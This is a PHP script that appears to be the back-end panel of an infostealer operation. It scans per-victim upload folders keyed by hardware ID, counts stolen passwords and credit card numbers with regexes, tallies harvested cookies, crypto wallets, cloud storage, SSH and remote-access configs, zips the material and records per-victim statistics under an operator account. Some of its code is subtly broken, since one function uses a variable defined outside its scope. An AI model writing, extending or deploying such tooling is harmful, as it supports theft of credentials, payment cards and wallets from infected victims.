<?php
// Make sure this is at the very top, before any output
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Include error handler first
require_once(__DIR__ . '/error_handler.php');

// Log that we're starting
logMessage("check_new_logs.php started");

// Now include other files
require_once(__DIR__ . '/header.php');
require_once(__DIR__ . '/telegram_notify.php');

// Clear any output buffers
while (ob_get_level()) {
    ob_end_clean();
}

// Start a new output buffer
ob_start();

// Debug logging for all GET parameters
echo "<pre>DEBUG: All GET parameters received:\n";
foreach ($_GET as $key => $value) {
    echo "Parameter '$key' = '$value'\n";
}
echo "</pre>";

// Get username from session
if (!isset($_SESSION['username'])) {
    echo "<pre>ERROR: No username found in session. Please log in first.</pre>";
    die("Error: No username found in session. Please log in first.");
}

$username = $_SESSION['username'];
echo "<pre>DEBUG: Username from session: '$username'</pre>";

// Get all log parameters with debugging
$logParams = [
    'hwid' => $_GET['hwid'] ?? '',
    'Passwords' => $_GET['Passwords'] ?? 0,
    'CreditCards' => $_GET['CreditCards'] ?? 0,
    'Cookies' => $_GET['Cookies'] ?? 0,
    'AutoFill' => $_GET['AutoFill'] ?? 0,
    'Wallets' => $_GET['Wallets'] ?? 0,
    'VPN' => $_GET['VPN'] ?? 0,
    'Telegram' => $_GET['Telegram'] ?? 0,
    'Steam' => $_GET['Steam'] ?? 0,
    'Gaming' => $_GET['Gaming'] ?? 0,
    'OtherMessengers' => $_GET['OtherMessengers'] ?? 0,
    'Discord' => $_GET['Discord'] ?? 0,
    'DevTools' => $_GET['DevTools'] ?? 0,
    'EmailClients' => $_GET['EmailClients'] ?? 0,
    'PasswordManagers' => $_GET['PasswordManagers'] ?? 0,
    'RemoteAccess' => $_GET['RemoteAccess'] ?? 0,
    'CloudStorage' => $_GET['CloudStorage'] ?? 0,
    'BrowserExtended' => $_GET['BrowserExtended'] ?? 0
];

// Debug log all parameters
echo "<pre>DEBUG: All log parameters:\n";
foreach ($logParams as $key => $value) {
    echo "Log parameter '$key' = '$value'\n";
}
echo "</pre>";

function getNewLogs() {
    global $username;
    $uploadDir = __DIR__ . '/../upload/';
    $processedFile = __DIR__ . '/processed_logs.txt';
    
    // Validate username early to avoid issues
    if (empty($username)) {
        $username = 'system_unassigned_'.time();
        logMessage("WARNING: Empty username detected in getNewLogs(). Using system-generated: $username");
    }
    
    logMessage("Checking for new logs in: " . $uploadDir);
    
    // Create processed logs file if it doesn't exist
    if (!file_exists($processedFile)) {
        file_put_contents($processedFile, '');
        logMessage("Created new processed_logs.txt file");
    }
    
    // Get list of processed logs
    $processedLogs = file($processedFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    if (!is_array($processedLogs)) {
        $processedLogs = [];
    }
    logMessage("Found " . count($processedLogs) . " previously processed logs");
    
    $newLogs = [];
    
    // Scan upload directory for new HWID folders
    $hwidFolders = glob($uploadDir . '*', GLOB_ONLYDIR);
    logMessage("Found " . count($hwidFolders) . " HWID folders to check");
    
    foreach ($hwidFolders as $folder) {
        $hwid = basename($folder);
        logMessage("Checking folder for HWID: " . $hwid);
        
        // Check for new log files
        $logFiles = [
            'Passwords.txt' => $folder . '/Passwords.txt',
            'cards.txt' => $folder . '/cards.txt',
            'wallets' => $folder . '/wallets',
            'Browsers' => $folder . '/Browsers',
            'CloudStorage' => $folder . '/CloudStorage',
            'DevTools' => $folder . '/DevTools',
            'RemoteAccess' => $folder . '/RemoteAccess'
        ];
        
        foreach ($logFiles as $type => $path) {
            $logKey = $hwid . '_' . $type;
            
            // Skip if already processed
            if (in_array($logKey, $processedLogs)) {
                logMessage("Skipping already processed log: " . $logKey);
                continue;
            }
            
            // Check if file/directory exists and has content
            if (file_exists($path)) {
                if (is_dir($path)) {
                    // For directories, check if they have content
                    $hasContent = false;
                    $itemCount = 0;
                    
                    switch ($type) {
                        case 'wallets':
                            $hasContent = count(glob($path . '/*', GLOB_ONLYDIR)) > 0;
                            break;
                            
                        case 'Browsers':
                            $hasContent = count(glob($path . '/*_Cookies.txt')) > 0;
                            break;
                            
                        case 'CloudStorage':
                            // Check for common cloud storage folders and files
                            $cloudFolders = [
                                'Dropbox',
                                'Google Drive',
                                'OneDrive',
                                'iCloud',
                                'Box',
                                'Mega'
                            ];
                            
                            foreach ($cloudFolders as $cloudFolder) {
                                $cloudPath = $path . '/' . $cloudFolder;
                                if (is_dir($cloudPath)) {
                                    // Count all files recursively in this cloud folder
                                    $iterator = new RecursiveIteratorIterator(
                                        new RecursiveDirectoryIterator($cloudPath, RecursiveDirectoryIterator::SKIP_DOTS)
                                    );
                                    foreach ($iterator as $file) {
                                        if ($file->isFile()) {
                                            $itemCount++;
                                            $hasContent = true;
                                        }
                                    }
                                }
                            }
                            
                            // Also check for config files
                            $configFiles = glob($path . '/*.{db,config,token}', GLOB_BRACE);
                            $itemCount += count($configFiles);
                            if ($itemCount > 0) {
                                $hasContent = true;
                            }
                            break;
                            
                        case 'DevTools':
                            // Check for common dev tools folders and files
                            $devToolsPatterns = [
                                '*/node_modules',
                                '*/.git',
                                '*/.vscode',
                                '*/.idea',
                                '*/vendor',
                                '*/.npm',
                                '*/package.json',
                                '*/composer.json',
                                '*/*.sln',
                                '*/*.csproj'
                            ];
                            
                            foreach ($devToolsPatterns as $pattern) {
                                $matches = glob($path . '/' . $pattern, GLOB_BRACE);
                                $itemCount += count($matches);
                                if (count($matches) > 0) {
                                    $hasContent = true;
                                }
                            }
                            
                            // Count all development-related files
                            $iterator = new RecursiveIteratorIterator(
                                new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS)
                            );
                            foreach ($iterator as $file) {
                                if ($file->isFile()) {
                                    $ext = strtolower($file->getExtension());
                                    if (in_array($ext, ['js', 'php', 'py', 'java', 'cpp', 'cs', 'rb', 'go', 'ts'])) {
                                        $itemCount++;
                                        $hasContent = true;
                                    }
                                }
                            }
                            break;
                            
                        case 'RemoteAccess':
                            // Check for remote access tools and configurations
                            $remoteAccessPatterns = [
                                '*/TeamViewer',
                                '*/AnyDesk',
                                '*/RDP',
                                '*/VNC',
                                '*/SSH',
                                '*/.ssh',
                                '*/putty',
                                '*/WinSCP.ini',
                                '*/mRemoteNG',
                                '*/RemoteDesktopManager'
                            ];
                            
                            foreach ($remoteAccessPatterns as $pattern) {
                                $matches = glob($path . '/' . $pattern, GLOB_BRACE);
                                $itemCount += count($matches);
                                if (count($matches) > 0) {
                                    $hasContent = true;
                                }
                            }
                            
                            // Count configuration files
                            $configFiles = glob($path . '/*.{ini,cfg,config,rdp}', GLOB_BRACE);
                            $itemCount += count($configFiles);
                            if ($itemCount > 0) {
                                $hasContent = true;
                            }
                            break;
                    }
                    
                    if ($hasContent) {
                        logMessage("Found new directory log: " . $logKey);
                        $newLogs[] = [
                            'hwid' => $hwid,
                            'type' => $type,
                            'path' => $path,
                            'username' => $username
                        ];
                        
                        // Update logs table for the specific type
                        global $condb;
                        switch ($type) {
                            case 'CloudStorage':
                                $updateQuery = "UPDATE logs SET 
                                              cloud_storage = 1,
                                              cloud_storage_count = ?,
                                              last_updated = NOW() 
                                              WHERE hwid = ?";
                                $stmt = mysqli_prepare($condb, $updateQuery);
                                mysqli_stmt_bind_param($stmt, "is", $itemCount, $hwid);
                                mysqli_stmt_execute($stmt);
                                logMessage("Updated logs for cloud storage: {$hwid} (Count: {$itemCount})");
                                break;
                                
                            case 'DevTools':
                                $updateQuery = "UPDATE logs SET 
                                              dev_tools = 1,
                                              dev_tools_count = ?,
                                              last_updated = NOW() 
                                              WHERE hwid = ?";
                                $stmt = mysqli_prepare($condb, $updateQuery);
                                mysqli_stmt_bind_param($stmt, "is", $itemCount, $hwid);
                                mysqli_stmt_execute($stmt);
                                logMessage("Updated logs for dev tools: {$hwid} (Count: {$itemCount})");
                                break;
                                
                            case 'RemoteAccess':
                                $updateQuery = "UPDATE logs SET 
                                              remote_access = 1,
                                              remote_access_count = ?,
                                              last_updated = NOW() 
                                              WHERE hwid = ?";
                                $stmt = mysqli_prepare($condb, $updateQuery);
                                mysqli_stmt_bind_param($stmt, "is", $itemCount, $hwid);
                                mysqli_stmt_execute($stmt);
                                logMessage("Updated logs for remote access: {$hwid} (Count: {$itemCount})");
                                break;
                        }
                    }
                } else {
                    // For files, check if they have content
                    $content = file_get_contents($path);
                    if ($content !== false && strlen(trim($content)) > 0) {
                        logMessage("Found new file log: " . $logKey);
                        $newLogs[] = [
                            'hwid' => $hwid,
                            'type' => $type,
                            'path' => $path,
                            'username' => $username
                        ];
                    }
                }
            }
        }
    }
    
    logMessage("Total new logs found: " . count($newLogs));
    return $newLogs;
}

function markLogAsProcessed($hwid, $type) {
    $processedFile = __DIR__ . '/processed_logs.txt';
    $logKey = $hwid . '_' . $type;
    file_put_contents($processedFile, $logKey . "\n", FILE_APPEND);
}

function createZipForLogs($hwid, $logs) {
    global $username;
    $zipFile = __DIR__ . '/../upload/' . $hwid . '.zip';
    $zip = new ZipArchive();
    
    if ($zip->open($zipFile, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
        foreach ($logs as $log) {
            if (is_dir($log['path'])) {
                // Add directory contents recursively
                $iterator = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($log['path'], RecursiveDirectoryIterator::SKIP_DOTS)
                );
                foreach ($iterator as $file) {
                    if ($file->isFile()) {
                        $zip->addFile($file->getPathname(), basename($log['path']) . '/' . $iterator->getSubPathName());
                    }
                }
            } else {
                $zip->addFile($log['path'], basename($log['path']));
            }
        }
        $zip->close();
        
        // Update database with log information
        global $conn;
        
        // Validate the username - don't use the default 'cybervax'
        if (empty($username)) {
            $username = 'system_unassigned_'.time();
            echo "<pre>DEBUG: Empty username detected, using system-generated value: '$username'</pre>";
        }
        
        echo "<pre>DEBUG: Preparing to insert log with username: '$username'</pre>";
        
        $query = "INSERT INTO logs (hwid, username, File_log, Passwords, CreditCards, Cookies, AutoFill, Wallets, VPN, Telegram, Steam, Gaming, OtherMessengers, Discord, DevTools, EmailClients, PasswordManagers, RemoteAccess, CloudStorage, BrowserExtended) 
                 VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)";
        $stmt = mysqli_prepare($conn, $query);
        if (!$stmt) {
            echo "<pre>ERROR: Failed to prepare statement: " . mysqli_error($conn) . "</pre>";
            return false;
        }
        
        $relativePath = 'upload/' . $hwid . '.zip';
        echo "<pre>DEBUG: Binding parameters with username: '$username'</pre>";
        
        mysqli_stmt_bind_param($stmt, "sssiiiiiiiiiiiiiiii", 
            $logParams['hwid'],
            $username,
            $relativePath,
            $logParams['Passwords'],
            $logParams['CreditCards'],
            $logParams['Cookies'],
            $logParams['AutoFill'],
            $logParams['Wallets'],
            $logParams['VPN'],
            $logParams['Telegram'],
            $logParams['Steam'],
            $logParams['Gaming'],
            $logParams['OtherMessengers'],
            $logParams['Discord'],
            $logParams['DevTools'],
            $logParams['EmailClients'],
            $logParams['PasswordManagers'],
            $logParams['RemoteAccess'],
            $logParams['CloudStorage'],
            $logParams['BrowserExtended']
        );
        
        if (!mysqli_stmt_execute($stmt)) {
            echo "<pre>ERROR: Failed to execute statement: " . mysqli_stmt_error($stmt) . "</pre>";
            mysqli_stmt_close($stmt);
            return false;
        }
        
        echo "<pre>DEBUG: Successfully inserted log with username: '$username'</pre>";
        mysqli_stmt_close($stmt);
        
        return true;
    }
    return false;
}

// Process new logs
$newLogs = getNewLogs();
if (!empty($newLogs)) {
    logMessage("Found " . count($newLogs) . " new logs to process");

// Group logs by HWID
$logsByHwid = [];
foreach ($newLogs as $log) {
    $logsByHwid[$log['hwid']][] = $log;
}

// Process each HWID's logs
foreach ($logsByHwid as $hwid => $logs) {
        // Get existing database stats for this HWID first
        global $condb;
        $existing_stats = [];
        $get_existing = "SELECT * FROM `logs` WHERE hwid = ?";
        $stmt = mysqli_prepare($condb, $get_existing);
        mysqli_stmt_bind_param($stmt, "s", $hwid);
        mysqli_stmt_execute($stmt);
        $result = mysqli_stmt_get_result($stmt);
        
        if ($row = mysqli_fetch_assoc($result)) {
            $existing_stats = $row;
            logMessage("Found existing database record for HWID: $hwid");
        } else {
            logMessage("No existing database record for HWID: $hwid");
        }
        
        // Initialize current values from existing stats if available
        $stats = [
            'Passwords' => isset($existing_stats['Passwords']) ? (int)$existing_stats['Passwords'] : 0,
            'CreditCards' => isset($existing_stats['CreditCards']) ? (int)$existing_stats['CreditCards'] : 0,
            'Cookies' => isset($existing_stats['Cookies']) ? (int)$existing_stats['Cookies'] : 0,
            'Wallets' => isset($existing_stats['Wallets']) ? (int)$existing_stats['Wallets'] : 0,
            'VPN' => isset($existing_stats['VPN']) ? (int)$existing_stats['VPN'] : 0,
            'Telegram' => isset($existing_stats['Telegram']) ? (int)$existing_stats['Telegram'] : 0,
            'Steam' => isset($existing_stats['Steam']) ? (int)$existing_stats['Steam'] : 0,
            'Gaming' => isset($existing_stats['Gaming']) ? (int)$existing_stats['Gaming'] : 0,
            'OtherMessengers' => isset($existing_stats['OtherMessengers']) ? (int)$existing_stats['OtherMessengers'] : 0,
            'Discord' => isset($existing_stats['Discord']) ? (int)$existing_stats['Discord'] : 0,
            'EmailClients' => isset($existing_stats['EmailClients']) ? (int)$existing_stats['EmailClients'] : 0,
            'PasswordManagers' => isset($existing_stats['PasswordManagers']) ? (int)$existing_stats['PasswordManagers'] : 0,
            'CloudStorage' => isset($existing_stats['CloudStorage']) ? (int)$existing_stats['CloudStorage'] : 0,
            'DevTools' => isset($existing_stats['DevTools']) ? (int)$existing_stats['DevTools'] : 0,
            'RemoteAccess' => isset($existing_stats['RemoteAccess']) ? (int)$existing_stats['RemoteAccess'] : 0,
            'BrowserExtended' => isset($existing_stats['BrowserExtended']) ? (int)$existing_stats['BrowserExtended'] : 0,
            'AutoFill' => isset($existing_stats['AutoFill']) ? (int)$existing_stats['AutoFill'] : 0
        ];
        
        // Log the current values for debugging
        logMessage("Current stats for HWID $hwid before processing: " . json_encode($stats));
        
        // Process the new logs, updating stats only if the new value is higher
        foreach ($logs as $log) {
            // If there's already a username and it's not "cybervax" or empty, keep using that username
            // instead of overwriting it with a new one
            if (isset($existing_stats['username']) && 
                !empty($existing_stats['username']) && 
                $existing_stats['username'] != 'cybervax') {
                $username = $existing_stats['username'];
                logMessage("Preserving existing username: $username");
            } else {
                // Only replace username if needed
                $username = $log['username'] ?? (isset($existing_stats['username']) ? $existing_stats['username'] : 'system_unassigned_'.time());
                logMessage("Setting username to: $username"); 
            }
            
            // If username is empty, don't process this log
            if (empty($username)) {
                logMessage("WARNING: Skipping log with empty username for HWID: $hwid");
                continue;
            }
            
            $ipAddress = $log['ip'] ?? (isset($existing_stats['IP']) ? $existing_stats['IP'] : '');
            $country = $log['country'] ?? (isset($existing_stats['Country']) ? $existing_stats['Country'] : '');
            
            // Process each stat type, only update if new value is higher
            $newStats = [
                'Passwords' => $stats['Passwords'],
                'CreditCards' => $stats['CreditCards'], 
                'Cookies' => $stats['Cookies'],
                'Wallets' => $stats['Wallets'],
                'VPN' => $stats['VPN'],
                'Telegram' => $stats['Telegram'],
                'Steam' => $stats['Steam'],
                'Gaming' => $stats['Gaming'],
                'OtherMessengers' => $stats['OtherMessengers'],
                'Discord' => $stats['Discord'],
                'EmailClients' => $stats['EmailClients'],
                'PasswordManagers' => $stats['PasswordManagers'],
                'CloudStorage' => $stats['CloudStorage'],
                'DevTools' => $stats['DevTools'],
                'RemoteAccess' => $stats['RemoteAccess'],
                'BrowserExtended' => $stats['BrowserExtended'],
                'AutoFill' => $stats['AutoFill']
            ];
            
            // Only increment specific stats based on log type
            if ($log['type'] == 'Passwords.txt') {
                $passwordCount = 0;
                if (file_exists($log['path'])) {
                    $content = file_get_contents($log['path']);
                    if ($content !== false) {
                        $passwordCount = preg_match_all('/(?:Password|Pass(?:word)?|Passowrd|Passwd)\s*:\s*.+/i', $content);
                        if ($passwordCount > $newStats['Passwords']) {
                            $newStats['Passwords'] = $passwordCount;
                        }
                    }
                }
            } elseif ($log['type'] == 'cards.txt') {
                $cardCount = 0;
                if (file_exists($log['path'])) {
                    $content = file_get_contents($log['path']);
                    if ($content !== false) {
                        $cardCount = preg_match_all('/(?:Card Number|Number|CC|Credit Card)\s*:\s*\d+/i', $content);
                        if ($cardCount > $newStats['CreditCards']) {
                            $newStats['CreditCards'] = $cardCount;
                        }
                    }
                }
            } else {
                // For other types, we've already handled them in special update queries above
            }
            
            // Only update stats if the new value is higher than existing
            foreach ($newStats as $key => $value) {
                if ($value > $stats[$key]) {
                    $stats[$key] = $value;
                    logMessage("Updated $key to higher value: $value");
                }
            }
        }
        
        // Log the final values
        logMessage("Final stats for HWID $hwid after processing: " . json_encode($stats));
        
        // Update the database with the final stats
        if (isset($existing_stats['id_log'])) {
            // Update existing record
            $updateQuery = "UPDATE logs SET 
                Passwords = ?, CreditCards = ?, Cookies = ?, AutoFill = ?, Wallets = ?, VPN = ?,
                Telegram = ?, Steam = ?, Gaming = ?, OtherMessengers = ?, Discord = ?,
                EmailClients = ?, PasswordManagers = ?, CloudStorage = ?, 
                DevTools = ?, RemoteAccess = ?, BrowserExtended = ?,
                last_updated = NOW()
                WHERE id_log = ?";
                
            $stmt = mysqli_prepare($condb, $updateQuery);
            mysqli_stmt_bind_param($stmt, "iiiiiiiiiiiiiiiiii", 
                $stats['Passwords'], $stats['CreditCards'], $stats['Cookies'], $stats['AutoFill'],
                $stats['Wallets'], $stats['VPN'], $stats['Telegram'], 
                $stats['Steam'], $stats['Gaming'], $stats['OtherMessengers'],
                $stats['Discord'], $stats['EmailClients'], $stats['PasswordManagers'],
                $stats['CloudStorage'], $stats['DevTools'], $stats['RemoteAccess'],
                $stats['BrowserExtended'], $existing_stats['id_log']);
                
            if (mysqli_stmt_execute($stmt)) {
                logMessage("Successfully updated stats for HWID: $hwid");
            } else {
                logMessage("Failed to update stats: " . mysqli_error($condb));
            }
        } else {
            // Insert new record
            $insertQuery = "INSERT INTO logs (
                hwid, username, IP, Country, Passwords, CreditCards, Cookies, AutoFill, Wallets, VPN,
                Telegram, Steam, Gaming, OtherMessengers, Discord, 
                EmailClients, PasswordManagers, CloudStorage, 
                DevTools, RemoteAccess, BrowserExtended, last_updated
            ) VALUES (
                ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, NOW()
            )";
            
            $stmt = mysqli_prepare($condb, $insertQuery);
            mysqli_stmt_bind_param($stmt, "ssssiiiiiiiiiiiiiiii", 
                $hwid, $username, $ipAddress, $country,
                $stats['Passwords'], $stats['CreditCards'], $stats['Cookies'], $stats['AutoFill'],
                $stats['Wallets'], $stats['VPN'], $stats['Telegram'], 
                $stats['Steam'], $stats['Gaming'], $stats['OtherMessengers'],
                $stats['Discord'], $stats['EmailClients'], $stats['PasswordManagers'],
                $stats['CloudStorage'], $stats['DevTools'], $stats['RemoteAccess'],
                $stats['BrowserExtended']);
                
            if (mysqli_stmt_execute($stmt)) {
                logMessage("Successfully inserted new stats for HWID: $hwid");
            } else {
                logMessage("Failed to insert stats: " . mysqli_error($condb));
            }
        }
    }
} else {
    logMessage("No new logs found");
}

// Redirect back to logs page
header("Location: logs.php");
exit;
?> 